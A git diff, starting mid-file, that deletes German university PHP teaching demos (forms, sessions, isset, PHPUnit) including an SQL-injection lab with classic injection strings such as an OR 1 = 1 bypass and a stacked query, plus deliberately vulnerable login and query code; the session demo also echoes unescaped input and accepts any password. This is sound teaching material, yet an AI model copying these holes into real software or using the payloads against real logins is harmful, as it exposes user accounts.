-<form action="PHP_Formular_Echo.php" method="get">
-    <label>Multi-Select:<br/>
-        <!-- ohne [] steht immer nur das letzte Select in PHP zur Verfügung -->
-        <select name="myselect" size="4" multiple="multiple">
-            <option value="1">Nr.1</option>
-            <option value="2">Nr.2</option>
-            <option value="3">Nr.3</option>
-            <option value="4">Nr.4</option>
-        </select>
-    </label>
-    <p><input type="submit" value="absenden"/> mit GET</p>
-</form>
-<form action="PHP_Formular_Echo.php" method="post">
-    <!--        <p>Name:<br><input maxlength="40" size="40" name="Anwendername" value="c"></p>
-            <p>Text:<br><textarea name="KommentarText" rows="2" cols="40">d</textarea></p>
-    -->
-    <label>Multi-Select:<br/>
-        <select name="myselect" size="4" multiple="multiple">
-            <option value="1">Nr.1</option>
-            <option value="2">Nr.2</option>
-            <option value="3">Nr.3</option>
-            <option value="4">Nr.4</option>
-        </select>
-    </label>
-    <p><input type="submit" value="absenden"/> mit POST</p>
-</form>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/PHP_Intro.php b/src/Demos/PHP/PHP_Intro.php
deleted file mode 100644
index f4c90f62bd2a848f1faec262a13316724ed21ff0..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_Intro.php
+++ /dev/null
@@ -1,23 +0,0 @@
-<?php
-header("Content-type: text/html");
-$title = "Hello World";
-?>
-<!DOCTYPE html>
-<html lang="de">
-<?php
-echo <<<EOT
-<!-- Hier steht der ganz normale HTML-Code -->
-<head>
-  <meta charset="UTF-8" />
-  <title>$title</title>
-</head>
-EOT;
-?>
-<body>
-<?php
-for ($i = 0; $i < 5; $i++) {
-    echo "<p>" . $i . "-ter Absatz </p>\n";
-}
-?>
-</body>
-</html>
diff --git a/src/Demos/PHP/PHP_PostBlockade.php b/src/Demos/PHP/PHP_PostBlockade.php
deleted file mode 100644
index 388d2784c866798aac16dac473449ebd27447252..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_PostBlockade.php
+++ /dev/null
@@ -1,61 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-
-class PostDemo
-{
-    private $POST_data="<p>Auswahl:</p>";
-    
-    protected function generateView()
-    {
-        echo<<<EOT
-	<!DOCTYPE html>
-	<html lang="de">  
-	  <head>
-		<meta charset="UTF-8" />
-		<title>Post-Probleme</title>
-	  </head>
-	  <body >
-	  	<p>Schicken Sie das Formular (mit POST) über einen Radiobutton ab und laden Sie die Seite neu, 
-		um das Problem zu sehen!"</p>
-		<header><h1>Bäcker*in</h1></header>		
-		  <form method="post" accept-charset="UTF-8" action="PHP_PostBlockade.php" id="form45">
-			<fieldset>
-				<legend>Bestellung 17 - Pizza Spinat-Hühnchen</legend>
-				<label><span class="labelradio">bestellt</span><input type="radio" name="pizza45" value="0"  
-				  onclick="document.forms['form45'].submit();" /></label>
-				<label><span class="labelradio">im Ofen</span><input type="radio" name="pizza45" value="1" 
-				  onclick="document.forms['form45'].submit();" /></label>
-				<label><span class="labelradio">fertig</span><input type="radio" name="pizza45" value="2" 
-				  onclick="document.forms['form45'].submit();"  /></label>
-				$this->POST_data
-			</fieldset>
-
-		<h2>Lesenswert:</h2>
-<a href="https://www.theserverside.com/news/1365146/Redirect-After-Post">Redirect after POST</a></br>
-<a href="https://en.wikipedia.org/wiki/Post/Redirect/Get">Post/Redirect/Get</a>
-</body></html>
-EOT;
-    }
-
-    protected function processReceivedData()
-    {
-        if (isset($_POST["pizza45"])) {
-            $this->POST_data = "<p>Auswahl: ".$_POST["pizza45"]."! POST-Daten empfangen!</p>";
-        }
-    }
-
-
-    public static function main()
-    {
-        try {
-            $page = new PostDemo();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-PostDemo::main();
diff --git a/src/Demos/PHP/PHP_Session.php b/src/Demos/PHP/PHP_Session.php
deleted file mode 100644
index aecb417a09420d4b7a02af9c2ad0c71431ca514c..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_Session.php
+++ /dev/null
@@ -1,84 +0,0 @@
-<?php
-// Beispiel zur Sessionverwaltung mit Login
-
-session_start();
-
-// Abmeldung
-define("SessionTimeout", "3600");    // Session wird nach 3600 Sekunden (= 1 Stunde) Inaktivität geschlossen
-if (isset($_GET['Logout']) ||
-    (isset($_SESSION['LastAccess']) &&
-        time() - $_SESSION['LastAccess'] > SessionTimeout)) {
-    unset($_SESSION['Username']);                // Zustandsvariable löschen
-    setcookie(session_name(), '', 1, '/');        // verfällt am 1.1.1970, d.h. altes Session-Cookie löschen
-    header('Location: ' . $_SERVER['PHP_SELF']);    // Login-Seite anbieten
-    exit(0);                                    // Skriptausführung beenden
-}
-
-// Anmeldung auswerten
-$Message = "";
-if (isset($_POST['Username']) && isset($_POST['Password'])) {
-    // Login-Formular wurde abgeschickt
-    $queryWebserviceOBS = $obsWebservice . 'service=Authenticate&loginUser=' . urlencode($_POST['Username']) . '&loginPass=' . urlencode($_POST['Password']);
-    $authResult = file_get_contents($queryWebserviceOBS);
-    if (isValidUser($_POST['Username'], $_POST['Password'])) {    // Zugriff auf die Datenbank
-        $_SESSION['Username'] = $_POST['Username'];
-        $_SESSION['Warenkorb'] = array();                        // persistente Variable initialisieren
-    } else
-        $Message = "Ungültiger Benutzername oder ungültiges Passwort";
-}
-
-// Anmeldung anbieten
-if (!isset($_SESSION['Username'])) {
-    // noch nicht angemeldet
-    generateHeader();
-    if ($Message)
-        echo "<p>$Message</p>\n";
-    ?>
-    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
-        <label for="Username">Benutzername</label>
-        <input type="text" id="Username" name="Username" value="<?php echo $_POST['Username']; ?>"/><br/>
-        <label for="Password">Passwort</label>
-        <input type="password" id="Password" name="Password"/><br/>
-        <input type="submit" value="Login"/>
-    </form>
-    <?php
-    generateFooter();
-    exit(0);
-}
-
-
-// nun können die Seiten innerhalb der Session ("Nutzinhalt") generiert und ausgewertet werden:
-
-// zur Überwachung von Inaktivität:
-$_SESSION['LastAccess'] = time();    // Sekunden seit 1.1.1970; Ãœberlauf 19.01.2038
-
-// auf allen Seiten einen Link zum Ausloggen:
-echo '<a href="' . $_SERVER['PHP_SELF'] . '?Logout=true">Logout</a>';
-
-
-// Zugriff auf Variable, die innerhalb der Session persistent sind
-// ($_SESSION geht nicht an den Client und ist damit vor Manipulationen geschützt):
-
-$_SESSION['Warenkorb'][] = "Pizza Funghi";            // auf einer Seite füllen
-
-for ($i = 0; $i < count($_SESSION['Warenkorb']); $i++)
-    echo $_SESSION['Warenkorb'][$i];                // auf einer anderen Seite zur Kontrolle anzeigen
-
-
-// alle benutzerbezogenen Datenbank-Zugriffe unter dieser Bedingung:
-$_SESSION_Username = $mysqli->real_escape_string($_SESSION['Username']);
-$SQL = "... WHERE username='$_SESSION_Username' ...";
-
-/*** Dummy-Methoden definieren ***/
-function isValidUser(string $user, string $pwd): bool
-{
-    return true;
-}
-
-function generateHeader()
-{
-}
-
-function generateFooter()
-{
-}
\ No newline at end of file
diff --git a/src/Demos/PHP/PHP__Formular_MultiselectArray.html b/src/Demos/PHP/PHP__Formular_MultiselectArray.html
deleted file mode 100644
index ab36cf7d63ec4d91ca3f6c8c9c3651c646003b1c..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP__Formular_MultiselectArray.html
+++ /dev/null
@@ -1,46 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>Testformular</title>
-    <style type="text/css">
-        <!--
-        form {
-            background-color: rgb(192, 192, 192);
-            padding: 1em;
-            margin: 2em;
-        }
-
-        -->
-    </style>
-</head>
-<body>
-<h2>Testformulare für PHP</h2>
-
-<form action="PHP_Formular_Echo.php" method="get">
-    <label>Multi-Select:<br/>
-        <!-- ohne [] steht immer nur das letzte Select in PHP zur Verfügung -->
-        <select name="myselect[]" size="4" multiple="multiple">
-            <option value="1">Nr.1</option>
-            <option value="2">Nr.2</option>
-            <option value="3">Nr.3</option>
-            <option value="4">Nr.4</option>
-        </select></label>
-    <p><input type="submit" value="absenden"/> mit GET</p>
-</form>
-<form action="PHP_Formular_Echo.php" method="post">
-    <!--        <p>Name:<br><input maxlength="40" size="40" name="Anwendername" value="c"></p>
-            <p>Text:<br><textarea name="KommentarText" rows="2" cols="40">d</textarea></p>
-    -->
-    <label>Multi-Select:<br/>
-        <select name="myselect[]" size="4" multiple="multiple">
-            <option value="1">Nr.1</option>
-            <option value="2">Nr.2</option>
-            <option value="3">Nr.3</option>
-            <option value="4">Nr.4</option>
-        </select>
-    </label>
-    <p><input type="submit" value="absenden"/> mit POST</p>
-</form>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/PHP_isset.php b/src/Demos/PHP/PHP_isset.php
deleted file mode 100644
index 479f6ce02d08d456d1b8056f22876d45ff089295..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_isset.php
+++ /dev/null
@@ -1,106 +0,0 @@
-<?php
-/**
- * Demonstrates problems caused by missing isset()
- *
- * @author Ralf Hahn <ralf.hahn@h-da.de>
- */
-
-// UTF-8 marker äöüÄÖÜ߀
-
-// MIME-Type der Antwort definieren (*vor* allem HTML):
-header("Content-type: text/html; charset=UTF-8");
-
-error_reporting(E_ALL);
-
-echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">  
-  <head>
-    <meta charset="UTF-8" />
-    <title>isset()-Tests</title>
-	<style>
-	  * {margin: 0.3em;}
-	  div {border: 0.1em solid black;}
-	</style>
-  </head>
-  <body>
-  <h1>Demo zur Notwendigkeit von isset()</h1>
-  <h2>Die folgenden Fehlermeldungen <em>sollen</em> auftreten!</h2>
-  <p>Die Variable \$NotExisting existiert nicht!</p>
-EOT;
-
-unset($NotExisting);
-
-//*************************************************************************
-echo '<div>';
-echo '<pre>';
-	echo 'if (!isset($NotExisting)){...} funktioniert';
-echo '</pre>';
-if (!isset($NotExisting)) {
-    echo '<p>So funktioniert es! </p>';
-}
-echo '</div>';
-
-//*************************************************************************
-echo '<div>';
-echo '<pre>';
-	echo 'if ($NotExisting) {...} wirft eine Warnung...';
-echo '</pre>';
-if ($NotExisting) {
-    echo '<p>Direkter Zugriff auf $NotExisting wirft eine Warnung</p>';
-}
-echo '<p>führt den Then-Zweig NICHT aus</p>';
-echo '<p>...und macht weiter!</p>';
-echo '</div>';
-
-//*************************************************************************
-echo '<div>';
-echo '<pre>';
-	echo 'try {
-    if ($NotExisting) {...} 
-catch (...){...} wirft eine Warnung (auch in Try/Catch)';
-echo '</pre>';
-
-try {
-    if ($NotExisting) {
-        echo '<p>führt den Then-Zweig nicht aus</p>';
-    }
-} catch (Exception $e) {
-    echo $e->getMessage();
-}
-echo '<p>führt den Then-Zweig NICHT aus</p>';
-echo '<p>...und macht weiter!</p>';
-echo '</div>';
-
-
-//*************************************************************************
-echo '<div>';
-echo '<pre>';
-	echo 'if (!$NotExisting) {...} wirft auch einen Fehler';
-echo '</pre>';
-if (!$NotExisting) {
-    echo '<p>...führt den Then-Zweig aus...</p>';
-}
-echo '<p>...und macht weiter!</p>';
-echo '</div>';
-
-//*************************************************************************
-echo '<div>';
-echo '<pre>';
-	echo 'if (@$NotExisting) {...} Mit dem Fehlerkontrolloperator @ vor der Bedingung';
-echo '</pre>';
-if (@$NotExisting) {
-    echo '<p>Then-Zweig wird nicht ausgeführt</p>';
-} else {
-    echo '<p>wird der Fehler unterdrückt und FALSE geliefert</p>';
-}
-echo '<p>...und macht weiter!</p>';
-echo '</div>';
-
-
-echo '<p>Die PHP-Ausführung läuft weiter, weil es "nur" Warnungen sind!?</p>';
-
-echo <<<EOT
-</body>
-</html> 
-EOT;
diff --git a/src/Demos/PHP/PHP_strlen.php b/src/Demos/PHP/PHP_strlen.php
deleted file mode 100644
index b48281d5f873d4bfe9fdc74201b84b243d94f1e2..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHP_strlen.php
+++ /dev/null
@@ -1,5 +0,0 @@
-<?php
-$myString = "ääääh?";
-echo "Text: $myString<br>";
-echo "strlen: " . strlen($myString) . "<br>";
-echo "mb_strlen: " . mb_strlen($myString, 'utf8');
\ No newline at end of file
diff --git a/src/Demos/PHP/PHPinfo.php b/src/Demos/PHP/PHPinfo.php
deleted file mode 100644
index 587381983149f77ab48ca77e09e07835b441be30..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHPinfo.php
+++ /dev/null
@@ -1,13 +0,0 @@
-<!DOCTYPE html>
-<!-- äöüß -->
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>phpinfo</title>
-</head>
-<body>
-<?php
-phpinfo();
-?>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/PHPunit/.gitignore b/src/Demos/PHP/PHPunit/.gitignore
deleted file mode 100644
index c568e5aeab2725579a68865e4ef235185aa8e048..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHPunit/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-/CalcTest.txt
-/CalcTest.html
diff --git a/src/Demos/PHP/PHPunit/out.html b/src/Demos/PHP/PHPunit/out.html
deleted file mode 100644
index cac8db664cd1bfc1cd7c3ae53e2c461db92da411..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHPunit/out.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!doctype html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8"/>
-        <title>Test Documentation</title>
-        <style>
-            body {
-                text-rendering: optimizeLegibility;
-                font-variant-ligatures: common-ligatures;
-                font-kerning: normal;
-                margin-left: 2em;
-            }
-
-            body > ul > li {
-                font-family: Source Serif Pro, PT Sans, Trebuchet MS, Helvetica, Arial;
-                font-size: 2em;
-            }
-
-            h2 {
-                font-family: Tahoma, Helvetica, Arial;
-                font-size: 3em;
-            }
-
-            ul {
-                list-style: none;
-                margin-bottom: 1em;
-            }
-        </style>
-    </head>
-    <body>
-        <h2 id="CalcTest">Calc</h2>
-        <ul>
-            <li style="color: #ef2929;">❌ Sub</li>
-            <li style="color: #555753;">✓ Div</li>
-            <li style="color: #555753;">✓ Div by zero</li>
-            <li style="color: #555753;">✓ Div by zero throws exception</li>
-            <li style="color: #555753;">✓ Class div exception</li>
-        </ul>
-    </body>
-</html>
\ No newline at end of file
diff --git a/src/Demos/PHP/PHPunit/src/Calc.php b/src/Demos/PHP/PHPunit/src/Calc.php
deleted file mode 100644
index 38f91429bf16289e5974621d9d3872abc9fce01b..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHPunit/src/Calc.php
+++ /dev/null
@@ -1,43 +0,0 @@
-<?php
-
-class DivException extends Exception
-{
-}
-
-class Calc
-{
-    private $l; // enthaelt den linken Operanden 
-    private $r; // enthaelt den rechten Operanden
-
-    public function __construct($l, $r) // Konstruktor
-    {
-        $this->l = $l;
-        $this->r = $r;
-    }
-
-    // gibt das Ergebnis der Subtraktion zurueck
-    public function sub()
-    { // Hier muesste anstelle eines + ein ... stehen!?
-        return $this->l + $this->r;
-    }
-
-    // Gibt das Ergebnis der Multiplikation zurueck
-    public function mul()
-    {
-        return $this->l * $this->r;
-    }
-    // Gibt das Ergebnis der Division zurueck;
-    // bei Division durch 0 gibt die Methode false zurueck
-    // oder generiert eine Exception
-    public function div($throwException = false)
-    {
-        if (0 == $this->r) {
-            if (true === $throwException) {
-                throw new DivException('Division durch null!');
-            } else {
-                return false;
-            }
-        }
-        return $this->l / $this->r;
-    }
-}
\ No newline at end of file
diff --git a/src/Demos/PHP/PHPunit/tests/CalcTest.php b/src/Demos/PHP/PHPunit/tests/CalcTest.php
deleted file mode 100644
index 46407ecca95ddd3964d2d3c4b402363da40ae5f5..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/PHPunit/tests/CalcTest.php
+++ /dev/null
@@ -1,93 +0,0 @@
-<?php /** @noinspection PhpIncludeInspection */
-
-use PHPUnit\Framework\TestCase;
-
-// Zu testende Klasse inkludieren
-require "Calc.php";
-
-// Klassendeklaration
-class CalcTest extends TestCase
-{
-
-    public function testSub()
-    {
-        $l = 5;
-        $r = 3;
-        // Ergebnis auf alternativem Weg berechnen
-        $erg = $l - $r;
-        $obj = new calc ($l, $r);
-        $this->assertEquals($erg, $obj->sub());
-    }
-		/*
-        // Auskommentieren um Testcoverage zu demonstrieren
-        public function testMul()
-        {
-            $l = 5;
-            $r = 3;
-            // Ergebnis auf alternativem Weg berechnen
-            $erg = $l * $r;
-            $obj = new calc ($l, $r);
-            $this->assertEquals($erg, $obj->mul());
-        }
-		*/
-    public function testDiv()
-    {
-        $l = 1;
-        $r = 40;
-        // Ergebnis auf alternativem Weg berechnen
-        $erg = 0.025;
-        $obj = new calc ($l, $r);
-        $this->assertEquals($erg, $obj->div());
-    }
-
-    public function testDivByZero()
-    {
-        $l = 5;
-        $r = 0;
-        // Ergebnis auf alternativem Weg berechnen
-        $obj = new calc ($l, $r);
-        $this->assertFalse($obj->div(), 'Fehler bei Division durch 0');
-    }
-
-    public function testDivByZeroThrowsException()
-    {
-        $l = 5;
-        $r = 0;
-        // Ergebnis auf alternativem Weg berechnen
-        $obj = new calc ($l, $r);
-        try {
-            $obj->div(true);
-        } catch (DivException $e) {
-            $this->assertEquals('Division durch null!', $e->getMessage(), 'Falsche Message in Exception');
-            return;
-        }
-        $this->fail("Keine Exception erzeugt!");
-    }
-
-    public function testClassDivException()
-    {
-        $obj = new DivException;
-        $this->assertNotNull($obj);
-    }
-
-    // Eigenschaft, in der das Objekt abgelegt wird
-    private $calc;
-
-    // setUp-Methode, die vor jedem Test aufgerufen wird
-    protected function setUp(): void
-    {
-        // setUp des Frameworks aufrufen
-        parent::setUp();
-        // Objekt instantiieren und speichern
-        $this->calc = new calc(2, 6);
-    }
-
-    // Methode, die nach jedem Test ausgeführt wird
-    protected function tearDown(): void
-    {
-        // "benutztes" Objekt entfernen
-        $this->calc = null;
-        // tearDown der Elternklasse aufrufen
-        parent::tearDown();
-    }
-}
\ No newline at end of file
diff --git a/src/Demos/PHP/SQL_Injection_Demo/SQL_Injection_Login.php b/src/Demos/PHP/SQL_Injection_Demo/SQL_Injection_Login.php
deleted file mode 100644
index 16a8199c59cea321c8267b88d6caa40e6339da2f..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/SQL_Injection_Demo/SQL_Injection_Login.php
+++ /dev/null
@@ -1,184 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-
-class SqlInjection
-{
-	protected MySQLi $database;
-	protected string $password;
-	protected string $email;
-
-    protected function __construct()
-    {
-        // activate full error checking
-        error_reporting(E_ALL);
-
-		$host = "localhost";
-		/********************************************/
-		// This code switches from the the local installation (XAMPP) to the docker installation 
-		if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-			$host = "mariadb";
-		}
-		$database = "SQL_Injection";
-		$user = "public";
-		$pwd = "public"; //NOSONAR ignore inline password for demo
-
-        // open database
-        $this->database = new MySQLi($host, $user, $pwd, $database);
-        // check connection to database
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-        // set character encoding to UTF-8
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception("Fehler beim Laden des Zeichensatzes UTF-8: " . $this->database->error);
-        }
-
-    }
-
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-	
-    
-    protected function generateView()
-    {
-        echo<<<EOT
-	<!DOCTYPE html>
-	<html lang="de">  
-	  <head>
-		<meta charset="UTF-8" />
-		<style>
-			img {width:100vw; }
-		</style>
-		<title>SQL-Injection</title>
-	  <script>
-		function fillInput(no){
-			
-			let email = Array();
-			let password = Array();
-		
-			email[0] = "hans.mustermann@mail.com";
-			password[0] = "123";
-			
-			email[1] = "hacker@evil.com";
-			password[1] = "xxx' OR 1 = 1 -- ' ]";
-
-			email[2] = "JohnDoe@yahoo.com' -- '";
-			password[2] = "xxx";
-
-
-			email[3] = "hacker@evil.com' OR 1 = 1; SELECT COUNT(Id) FROM accounts;--";
-			password[3] = "x";
-
-			// email[4] = "colorTest + address";
-			// password[4] = "colorTest + address";
-			
-			document.getElementById("email").value=email[no];
-			document.getElementById("email").setAttribute("value",email[no]);
-
-			document.getElementById("password").value=password[no];
-			document.getElementById("password").setAttribute("value",password[no]);
-		}
-	  </script>
-	  </head>
-	  <body >
-		<header><h1>SQL-Injection</h1></header>
-		
-		<form action="SQL_Injection_Login.php" method="post" accept-charset="UTF-8">
-		<fieldset>
-		<legend>Login zur Top-Secret-Website</legend>
-		<label>Ihre Emailadresse
-			<input type="text" name="email" size="70" id="email" required/>
-		</label>
-		</br>
-
-		<label>Ihr Passwort 
-<!--			<input type="password" name="password" size="70" id="password"/> -->
-				<input type="text" name="password" id="password" size="70" />
-</br>
-(normalerweise natürlich als Eingabefeld vom Typ password und mit HTTPS - aber dann sieht man nichts)
-		</label>
-		</br>
-		
-			<input type="submit" value="Login"/>
-		
-		  </form>
-		 </fieldset>
-		  
-		  <fieldset>
-	  <legend>Beispiel-Eingaben (anklicken und mit dem Bestellknopf abschicken)</legend>
-	  <label>
-	  	<input type="button" value="Normale Eingabe" onclick="fillInput(0);" />
-		Eine normale Eingabe wie es ein echter Kunde tun würde
-	  </label><br/>
-
-	  <label>
-		<input type="button" value="Angriff 1" onclick="fillInput(1);" />
-		Kann man die Passwort-Abfrage durch Anhängen eines OR-Ausdrucks aushebeln?
-	  </label><br/>
-	  <label>
-		<input type="button" value="Angriff 2" onclick="fillInput(2);" />
-		Kann man die Daten einer bekannten Email-Adresse auslesen (ohne Password)?
-	  </label><br/>
-	  <label>
-		<input type="button" value="Angriff 3" onclick="fillInput(3);" />
-		Kann man einen beliebigen SQL-Befehl anhängen und ausführen? (Wird von modernen DBs erkannt und verweigert - siehe &quot;Multiquery&quot;)
-	  </label><br/>
-	  </fieldset>
-<!--
-		<h2>Lesenswert:</h2>
-<a href="https://www.theserverside.com/news/1365146/Redirect-After-Post">Redirect after POST</a></br>
-<a href="https://en.wikipedia.org/wiki/Post/Redirect/Get">Post/Redirect/Get</a>
--->
-</body></html>
-EOT;
-    }
-
-
-    protected function processReceivedData()
-    {			
-        if (isset($_POST["email"])&& isset($_POST["password"])) {	
-						
-			$this->email = $_POST["email"];	
-            $this->password = $_POST["password"];	
-			
-			// escape new entries in such a way that it can be stored and restored without changes by the DB
-			$EscapedEmail = urlencode($this->email);
-			$EscapedPassword = urlencode($this->password);
-
-			//delete all entries from table
-			$sql = "DELETE FROM attack;";
-			$recordset = $this->database->query($sql);
-		    if (!$recordset) {
-				throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-			}	
-
-			// insert new entry			
-			$sql = "INSERT INTO `attack`(`EscapedEmail`, `EscapedPassword`) VALUES ('$EscapedEmail','$EscapedPassword')";
-			$recordset = $this->database->query($sql);		
-			if (!$recordset) {
-				throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-			}
-			
-			header("HTTP/1.1 303 See Other");
-			header("Location: SQL_Injection_Login.php");
-        }
-		
-    }
-
-
-    public static function main()
-    {
-        try {
-            $page = new SqlInjection();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-SqlInjection::main();
diff --git a/src/Demos/PHP/SQL_Injection_Demo/SQL_Injection_Query.php b/src/Demos/PHP/SQL_Injection_Demo/SQL_Injection_Query.php
deleted file mode 100644
index 3316c00a0071b1f904a5a570d63b1e5196694925..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/SQL_Injection_Demo/SQL_Injection_Query.php
+++ /dev/null
@@ -1,207 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-
-require_once('SqlFormatter.php');
-
-class SqlInjectionQuery
-{
-    protected MySQLi $database;
-		
-	protected bool $SafeMode;
-	protected string $PageTitle;
-	protected string $Email;
-	protected string $Password;
-	protected string $Query;
-	protected string $Onload;
-
-    protected function __construct()
-    {
-		$this->SafeMode = false;
-		
-// activate full error checking
-        error_reporting(E_ALL);	
-		
-	$driver = new mysqli_driver();
-	$driver->report_mode = MYSQLI_REPORT_ERROR;
-		
-        $host = "localhost";
-        /********************************************/
-// This code switches from the the local installation (XAMPP) to the docker installation
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        $database = "SQL_Injection";
-        $user = "public";
-        $pwd = "public"; //NOSONAR ignore inline password for demo
-// open database
-        $this->database = new MySQLi($host, $user, $pwd, $database);
-
-		
-// check connection to database
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-// set character encoding to UTF-8
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception("Fehler beim Laden des Zeichensatzes UTF-8: " . $this->database->error);
-        }
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new SqlInjectionQuery();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-
-    protected function processReceivedData():void
-    {
-		// if this page is called with a get parameter - switch to secure mode
-		if (count($_GET)){
-			$this->SafeMode = true;
-			$this->PageTitle="MIT real_escape_string vor der Query";
-			$this->Onload ="";
-		} else {
-			$this->SafeMode = false;
-			$this->PageTitle="OHNE real_escape_string vor der Query";
-			$this->Onload ="onload=\"document.body.style.border='solid red 1em';\"";
-		}
-    }
-
-    protected function generateView():void
-    {
-        $data = $this->getViewData();
-		
-		$EmailForHTML=htmlentities($this->Email);
-		$PasswordForHTML=htmlentities($this->Password);
-		$QueryForHTML=SqlFormatter::highlight($this->Query);
-		
-		if ($this->SafeMode){
-			$QueryComment = "<em>MIT</em> real_escape_string auf Parametern";
-		} else {
-			$QueryComment = "<em>OHNE</em> real_escape_string auf Parametern";
-		}
-		
-echo <<<EOT
-	<!DOCTYPE html>
-		<html lang="de">
-			<head>
-				<meta charset="UTF-8" />
-				<style>
-					img {width:100vw; }
-					h1 	{font: 1.2em Arial, sans-serif;}
-					pre {white-space: pre-wrap;}
-				</style>
-				<meta http-equiv="refresh" content="5" />
-				<title>SQL-Injection-Demo</title>
-			</head>
-			<body $this->Onload>
-				<header>
-					<h1>SQL-Injection-Demo: $this->PageTitle</h1>
-				</header>
-				
-				<article>
-					<!--
-					<h2>Daten wie sie eingegeben wurden: </h2>
-					<p>	Email: {$EmailForHTML}</p>
-					<p> Passwort: {$PasswordForHTML}</p>
-					-->
-					<p> Ausgeführte Query {$QueryComment}: {$QueryForHTML}</p>					
-				</article>		
-EOT;
-		//print_r ($data);
-		
-		for ($i=0; $i<count($data); $i++){
-			//print_r($data[$i]);
-			$accountId=$data[$i]["id"];
-			$accountEmail=$data[$i]["Email"];
-			$accountPassword=$data[$i]["SecretPassword"];
-			$accountSecret=$data[$i]["SecretData"];	
-			echo "<article>";
-			echo "<h2>Daten des Accounts: {$accountId}</h2>";			
-			echo "<p>	Email: " . $accountEmail . "</p>";
-			echo "<p>	Passwort: " . $accountPassword . "</p>";
-			echo "<p>	Geheime Daten: " . $accountSecret . "</p>";
-			echo "</article>";
-		}
-		
-
-
-echo <<<EOT
-			</body>
-				</html>
-EOT;
-    }
-
-    protected function getViewData():array
-    {
-        $data = array();
-		
-		// read query from database (escaped in order to make sure that it is not modified)
-        $sql = "SELECT * FROM attack";
-        $recordset = $this->database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-        }
-        $data = $recordset->fetch_assoc();
-		
-		if ($data){
-			$this->Email=$data["EscapedEmail"];
-			$this->Password=$data["EscapedPassword"];
-			$this->Email = urldecode($this->Email);
-			$this->Password = urldecode($this->Password);
-		} else {
-			$this->Email = "";
-			$this->Password = "";
-		}
-		$recordset->free();
-		
-		// 
-		if ($this->SafeMode){
-			$this->Email=$this->database->real_escape_string($this->Email);
-			$this->Password=$this->database->real_escape_string($this->Password);
-		}
-		
-		// now try to access the accounts with the email and passwort given
-		$data = array();
-		
-		//
-		
-		$sql = "SELECT * FROM accounts WHERE Email = '$this->Email' AND SecretPassword = '$this->Password';";
-		
-		$this->Query=$sql;
-		
-		//echo $sql;
-		
-		try {
-			$recordset = $this->database->query($sql);
-			if (!$recordset) {
-				throw new Exception("Abfrage fehlgeschlagen: " . $this->database->error);
-			}
-			
-			while ($record=$recordset->fetch_assoc()) {
-				$data[] = $record;
-			}
-			
-			$recordset->free();
-		}
-		catch (Exception $e) {	// typisiert !
-			echo 'Caught Exception: ', $e->getMessage(), "\n";	// besser: komplettes HTML
-		}
-		
-		// Continue execution
-		return $data;
-    }
-
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-}
-
-SqlInjectionQuery::main();
-				
\ No newline at end of file
diff --git a/src/Demos/PHP/SQL_Injection_Demo/SqlFormatter.php b/src/Demos/PHP/SQL_Injection_Demo/SqlFormatter.php
deleted file mode 100644
index 49e1d2fac0a50508f503e0a18199d34b3368a00b..0000000000000000000000000000000000000000
--- a/src/Demos/PHP/SQL_Injection_Demo/SqlFormatter.php
+++ /dev/null
@@ -1,1085 +0,0 @@
-<?php
-/**
- * SQL Formatter is a collection of utilities for debugging SQL queries.
- * It includes methods for formatting, syntax highlighting, removing comments, etc.
- *
- * @package    SqlFormatter
- * @author     Jeremy Dorn <jeremy@jeremydorn.com>
- * @author     Florin Patan <florinpatan@gmail.com>
- * @copyright  2013 Jeremy Dorn
- * @license    http://opensource.org/licenses/MIT
- * @link       http://github.com/jdorn/sql-formatter
- * @version    1.2.18
- */
